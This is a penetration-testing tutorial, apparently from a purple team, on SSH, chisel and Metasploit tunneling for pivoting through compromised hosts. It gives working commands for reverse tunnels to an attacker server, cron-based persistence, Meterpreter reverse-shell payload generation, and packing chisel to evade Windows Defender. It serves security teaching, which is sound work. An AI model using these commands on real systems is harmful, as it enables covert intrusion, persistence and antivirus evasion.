Tomer Basin from OTORIO's Purple Team gets back to basics with this informative guide that explains what tunneling is, and demonstrates simple ways to do it in several ways.
Basically, tunneling is the act of transferring data from point A to point B. Too broad? Well, to be more precise, tunneling is taking some protocol, and encapsulating it into a different protocol, thus creating a Matryoshka (Russian nesting doll) of protocols. For example, if we want to create an SSH session but we only have HTTP accessible, we can take the SSH packets and insert them into the HTTP data section. The other side will parse the HTTP request and will then handle the SSH content as intended, all over HTTP. This, of course, requires both sides to agree on the fact that tunneling takes place.
Now that we have explained the concept of tunneling, let’s discuss port forwarding. The idea is very simple – take every request that comes in through some port and send it to another port (locally or a remote host + port combination). So, if I were to set up local port forwarding on port 1234 to localhost:443, every request coming to my machine on port 1234 will be forwarded to port 443 on my machine. Pretty simple, right? As I mentioned, we can do the same thing with a remote host. Sticking with the same example, my machine is listening on port 1234, and I forward every request I receive on that port to someserver:443, I am creating a remote port forwarding. This makes my server a Proxy server, specifically an HTTPS proxy server.
Local port forwarding, every request coming into port 1234 is treated as if it was sent to port 443
Remote port forwarding, every request coming into port 1234 is forwarded as is to some other machine on port 443
One more thing I want to explain is the concept of SOCKS, specifically a SOCKS Proxy. Without going into the how and the why, the concept is very simple – SOCKS is a network protocol that allows the client to route all the data (TCP/UDP) through the server that is offering it, effectively combining tunneling and port forwarding in a very easy to use package. The server is listening on a single port, and every request that is sent to this port is encapsulated with the intended protocol inside of the SOCKS packets. One port for all traffic – it is like magic. This is also called Dynamic Port Forwarding – you can forward anything you want through this port; it is completely transparent.
A very practical use of tunneling takes effect in reverse SSH tunneling. What happens, in this case, is that the client establishes a connection with the server using the SSH protocol. This creates a tunnel between the two machines (a sort of pipe) that allows direct communication between the two machines on the ports of our choosing. For example, let’s say that there is a service that is only open on the client machine through localhost (127.0.0.1), therefore there is no way of directly accessing it, but we do have some other way of running commands on this client – we can now “publish” this inaccessible port by using this method and creating a tunnel that forwards a port on our server (the remote machine) to the desired service through the localhost (client), forcing it to be our proxy. Deep diving into the example:
We have two machines, let’s say that both are Linux machines.
Machine A has a service that is hosted on port 1337, however, it is only accessible through localhost, so there is no way for Machine B to reach it.
To bypass this predicament, tunneling must be used. Let’s assume that Machine B is able to run commands remotely on Machine A and that Machine B has its SSH port open.
The user on Machine B runs a command on Machine A that makes it connect back to Machine B using SSH. In the same command, the user defines port forwarding: All traffic that Machine B receives on port 2000 is to be forwarded through the tunnel towards port 1337 on Machine A. Which looks like this:
Some Traffic → 192.168.1.2:2000 → 192.168.1.1:1337
And now, if some remote machine attempts to access 192.168.1.2:2000, it will be forwarded to 192.168.1.1:1337.
This is just a basic example of tunneling. It is possible to add more layers and create a long chain of tunneling.
Tunneling results in the effective traffic being the dotted blue line between some machines and 192.168.1.1:1337
We talked about tunneling, forwarding, and SOCKS. But what is the practical use? How does it help me as a penetration tester to achieve anything? I am glad you asked!
Theory is nice and all, but how do we actually make this happen? Luckily it is easy to do, but it does differ, depending on which platform you are working on, or to be more precise it depends on whether or not SSH server is installed on both of the machines. Setting our environment.
Assuming that both machines have SSH server installed, the only utility we need on the remote host (victim) is SSH client. The SSH server is necessary for the local forwarding, the client is for the tunneling. On your server you will need SSH client and socat. We will start with how to configure reverse socks proxy over SSH.
If you do not have SSH on the victim machine, but you do have the option to install it (provided you have the necessary privileges) that would be the easiest way to achieve what we aim for here. From our engagements we found that installation of SSH server on the victim does not trigger any alerts (results may vary in different environments). To install SSH Server on windows, you can install it natively in windows 10/11, or use a standalone installer - https://github.com/PowerShell/Win32-OpenSSH.
You do not need high privileges on the victim if the tools are already preinstalled.
Target: First configure dynamic port forwarding, once you do this, the client will host as a SOCKS proxy:
ssh -D 9050 localhost
1. Target: Download your PEM key to the machine (and set privileges with chmod 600 <KEY>.pem), then run the reverse tunnel so traffic that gets to the server on port 9051 will be forwarded to port 9050 on the victim. You can also do this with username + password instead (however, you will not be able to make it persistent – it is recommended working with the PEM file). Next choose either persistent or not:
a. This is the standard version, and is NOT persistent:
ssh -i <KEY>.pem -R 9051:localhost:9050 [email protected]
ssh -R 9051:localhost:9050 [email protected]
b. If you want persistency, you need to modify the cron file, by using
Then, you add the following text to the end of the file (don’t forget to modify the relevant ports for your specific need, and change the <PATH>.pem path to the one you have), and save the cron file:
tun='ssh -i <FULL_PATH>/<KEY>.pem -4 -f -N -R 9051:localhost:9050 [email protected] -o ServerAliveInterval=600'
* * * * * if ! pgrep -f "$tun" > /dev/null; then $tun; fi
2. Attack Server: If we want to allow access to the tunnel from outside of the server, we also need to use socat:
socat tcp-listen:9050,reuseaddr,fork tcp:localhost:9051 &
3. Attack Machine: Now, the server is acting as a SOCKS proxy server on 192.168.1.9:9050, through the client.
The concept is the same as the SOCKS proxy, but using port 22 instead of 9050, here is the set of commands to do so:
On the Target:
ssh -i <KEY>.pem -R 2000:localhost:22 [email protected]
tun='ssh -i <FULL_PATH>/<KEY>.pem -4 -f -N -R 2000:localhost:22 [email protected] -o ServerAliveInterval=600'
* * * * * if ! pgrep -f "$tun" > /dev/null; then $tun; fi
On the Attack Server:
ssh [email protected] -p 2000
socat tcp-listen:2001,reuseaddr,fork tcp:localhost:2000 &
At this point, you can use “ssh [email protected]” to SSH the client from your attacking machine.
On most Linux machines it is very easy to create a socks proxy and reverse tunneling. On some windows machines we can still do this if the SSH server is turned on. However, if it is not - and we want to use the server as a proxy, we have a little problem. This problem worsens when taking into account AV/EDR/Defender. However, it seems that using a packer might help us out.
The easiest way to perform reverse tunneling on Windows is using chisel. It is written in GO, and its binaries are available to download, and if you want you can also compile it yourself. Bear in mind that even when compiling yourself, the binary is detected by Windows Defender.
To download CHISEL source code: GitHub - jpillora/chisel: A fast TCP/UDP unnel over HTTP
Binaries: Release v1.7.7 · jpillora/chisel
First, let’s talk see how to utilize chisel, for this you need to run it once on your attack machine (server), and once on the victim machine (client) - the executable is the same, the difference is in the command line.
Less common to use, but if you want, it works. The major drawback here is that you need your machine to connect to the victim. It could be useful if both the machine you are working on and your attacking machine are local.
You run this on the client:
chisel.exe server --port 9050 --socks5
On your server you run the following:
chisel client 192.168.1.5:9050 9050:socks
Now you can use the client as a SOCKS Proxy (use of proxychains is described below)
This way is more common.
On the server, this is run using the “server” command line (use chisel.exe for windows):
chisel server -port 8080 –reverse
Next, you need to configure the client side on the client machine, you need to run the following command:
chisel.exe client 192.168.1.9:<SRV_PORT> R:<SOCKS_PORT>:socks
The <SOCKS_PORT> parameter indicates the port on the server to which you connect for the proxychains, the <SRV_PORT> parameter indicates the port on which the victim connects to the server.
Once the connection is established, the attacker machine will indicate that the connection is made, and on which port it is listening.
Next we need to configure the proxychain, on our machine (the server). It is recommended to use proxychains4 (aka proxychains-ng), which is a better version of the old proxychains project. Proxyhcinas4 supports both socks4 and socks5:
sudo apt install proxychains4
sudo nano /etc/proxychains4.conf
and in the end of the file, add the following line (or replace what is there):
socks5 127.0.0.1 <PORT>
By default, it works with socks5, but if you are having issues, try to set the protocol to socks4 instead.
Now, you can access the assets through the client machine.
It is recommended to first use the following command to make all TCP/UDP based commands go through the tunnel. Also remember that UDP is supported only as of SOCKS5. This means that the PING command will not work.
This makes all network-based commands in the shell run through proxychains.
The problem is that chisel is detected by Windows Defender. To bypass that (Viable as per the time of writing this article. Before moving the executable to the client machine, first check it in a controlled environment) - use packer.
For example, you can use Atom PePacker:
This should let you bypass the defender.
It is very easy to use:
PePacker.exe chisel.exe -e
The output is “PP64Stub.exe” (feel free to change the name), and you should be able to run it on a machine that only has Windows Defender on it.
In order to make a compromised machine work as a socks proxy, we have several options, in this section we will talk about the use of msfvenom + metsploit.
You can use this as reference: SOCKS Proxy Server - Metasploit - InfosecMatter
First, we create the payload. The <HOST> is the IP of your attacking machine, make sure that the client machine is capable to reach your host, all commands are executed from a Kali machine
For a linux client:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> -f elf -o <FILENAME>
For a windows client:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<HOST> LPORT=<PORT> -f exe -o <FILENAME>.exe
After you have the executable ready, go ahead and setup you listener. On your server:
replace <OS> with linux or windows.
set payload <OS>/x64/meterpreter/reverse_tcp
set LHOST <HOST>
set LPORT <PORT>
At this point, execute the file you created with msfvenon on the client.
If you know which interface you want, that’s good, if not, run ipconfig:
meterpreter > ipconfig
Next, use the autoroute command from the meterpreter shell:
meterpreter > bg
msf6 exploit(mutli/handler) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set session <ID>
msf6 post(multi/manage/autoroute) > run
Note: you might need to add routing by yourself (if for some reason it doesn’t work), by using the following commands:
msf6 post(multi/manage/autoroute) > set CMD add
msf6 post(multi/manage/autoroute) > set subnet x.x.x.x
msf6 post(multi/manage/autoroute) > set netmask y.y.y.y
msf6 post(multi/manage/autoroute) > run
Now you need to trigger the socks proxy:
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT <PORT>
Now your server is listening on the port of your desire, and you will have access to what you need!
Tunneling is a very efficient penetration testing tool. Its wide array of possibilities allows us to effectively bypass security tools and measures. It can also save a lot of time installing dependencies (if that is at all possible) on victim machines. Understanding the core concepts is crucial in using it correctly and it allows the user to use it in more versatile ways to perform desired tasks. We talked about the why and the how, providing you (the reader) with the basics of tunneling, and some ways of utilizing the toolset to your advantage. Everything written here is for educational purposes only, and should only be used in approved projects.